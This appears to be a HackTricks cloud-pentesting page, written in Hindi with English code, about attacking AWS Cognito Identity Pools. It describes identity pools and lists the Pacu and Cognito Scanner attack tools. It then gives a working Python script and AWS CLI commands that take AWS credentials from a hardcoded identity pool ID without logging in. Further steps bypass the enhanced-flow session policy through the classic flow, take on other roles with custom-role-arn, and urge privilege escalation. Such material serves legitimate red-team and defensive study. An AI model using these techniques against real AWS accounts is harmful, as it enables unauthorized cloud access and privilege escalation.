Cognito Identity Pools

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

Identity pools एक महत्वपूर्ण भूमिका निभाते हैं क्योंकि ये आपके उपयोगकर्ताओं को अस्थायी क्रेडेंशियल्स प्राप्त करने में सक्षम बनाते हैं। ये क्रेडेंशियल्स विभिन्न AWS सेवाओं, जैसे कि Amazon S3 और DynamoDB, तक पहुँचने के लिए आवश्यक हैं। Identity pools की एक उल्लेखनीय विशेषता यह है कि ये गुमनाम अतिथि उपयोगकर्ताओं और उपयोगकर्ता प्रमाणीकरण के लिए विभिन्न पहचान प्रदाताओं का समर्थन करते हैं। समर्थित पहचान प्रदाता में शामिल हैं:

  • Amazon Cognito user pools
  • सामाजिक साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple
  • OpenID Connect (OIDC) के साथ संगत प्रदाता
  • SAML (Security Assertion Markup Language) पहचान प्रदाता
  • Developer authenticated identities
python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले एक Identity ID उत्पन्न करने की आवश्यकता है। यह Identity ID उस उपयोगकर्ता के सत्र की पहचान है। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़े को संग्रहीत कर सकते हैं।

यह एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है (जो हमेशा उसी Identity ID का उपयोग करेगा)।

इसके अलावा, सेवा cognito-sync वह सेवा है जो इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है (डेटा सेट में, धाराओं में जानकारी भेजना और SNSs संदेश...).

Tools for pentesting

  • Pacu, AWS शोषण ढांचा, अब "cognito__enum" और "cognito__attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताओं का उपयोग जो पहुंच नियंत्रण के लिए हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, id टोकन में ग्रहणीय भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।

मॉड्यूल के कार्यों का विवरण देखने के लिए ब्लॉग पोस्ट के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य Pacu पृष्ठ देखें।

Usage

उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों के प्रयास के लिए नमूना cognito__attack उपयोग:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

सैंपल cognito__enum का उपयोग सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए करें, जो वर्तमान AWS खाते में दृश्य हैं:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और पहचान पूल वृद्धि शामिल है।

Installation

bash
$ pip install cognito-scanner

उपयोग

bash
$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

IAM भूमिकाओं तक पहुँच

बिना प्रमाणीकरण के

एक हमलावर को AWS क्रेडेंशियल्स प्राप्त करने के लिए एक Cognito ऐप में बिना प्रमाणीकरण वाले उपयोगकर्ता के रूप में केवल Identity Pool ID जानने की आवश्यकता होती है, और यह ID को वेब/मोबाइल ऐप्लिकेशन में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (यह ब्रूटफोर्स करने योग्य नहीं है)।

tip

IAM Cognito बिना प्रमाणीकरण वाली भूमिका जो बनाई गई है डिफ़ॉल्ट रूप से Cognito_<Identity Pool name>Unauth_Role कहलाती है।

यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह बिना प्रमाणीकरण वाले उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं:

python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

या आप निम्नलिखित aws cli कमांड का उपयोग कर सकते हैं:

bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

warning

ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito उपयोगकर्ता को कोई अनुमति नहीं मिल सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो। निम्नलिखित अनुभाग की जांच करें।

Enhanced vs Basic Authentication flow

पिछले अनुभाग ने डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक प्रतिबंधात्मक सत्र नीति सेट करता है। यह नीति केवल सत्र को इस सूची से सेवाओं का उपयोग करने की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)।

हालांकि, इसे बायपास करने का एक तरीका है, यदि पहचान पूल में "बेसिक (क्लासिक) फ्लो" सक्षम है, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें वह प्रतिबंधात्मक सत्र नीति नहीं होगी

bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

warning

यदि आपको यह त्रुटि मिलती है, तो इसका कारण है कि बुनियादी प्रवाह सक्षम नहीं है (डिफ़ॉल्ट)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM क्रेडेंशियल्स का एक सेट होने पर आपको यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है और अधिकार बढ़ाने की कोशिश करें.

प्रमाणित

note

याद रखें कि प्रमाणित उपयोगकर्ताओं को शायद विभिन्न अनुमतियाँ दी जाएंगी, इसलिए यदि आप ऐप के अंदर साइन अप कर सकते हैं, तो ऐसा करने की कोशिश करें और नए क्रेडेंशियल्स प्राप्त करें।

प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल में भी भूमिकाएँ उपलब्ध हो सकती हैं।

इसके लिए आपको पहचान प्रदाता तक पहुँच की आवश्यकता हो सकती है। यदि वह एक Cognito User Pool है, तो शायद आप डिफ़ॉल्ट व्यवहार का दुरुपयोग कर सकते हैं और खुद एक नया उपयोगकर्ता बना सकते हैं

tip

IAM Cognito प्रमाणित भूमिका जो बनाई गई है उसे डिफ़ॉल्ट रूप से Cognito_<Identity Pool name>Auth_Role कहा जाता है।

वैसे भी, निम्नलिखित उदाहरण यह अपेक्षाकृत करता है कि आपने पहले ही Cognito User Pool में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाताओं को भी कॉन्फ़िगर किया जा सकता है)।

aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

# पिछले कमांड प्रतिक्रिया से identity_id प्राप्त करें
aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=


# IdToken में आप उन भूमिकाओं को पा सकते हैं जिनका उपयोगकर्ता को User Pool Groups के कारण एक्सेस है
# विशिष्ट भूमिका के लिए क्रेडेंशियल्स प्राप्त करने के लिए --custom-role-arn का उपयोग करें
aws cognito-identity get-credentials-for-identity \
--identity-id  \
    --custom-role-arn  \
    --logins cognito-idp..amazonaws.com/=

warning

यह संभव है कि पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि उपयोगकर्ता (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो सभी के IAM भूमिकाओं तक पहुँचने के लिए लॉग इन करना लायक हो सकता है

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें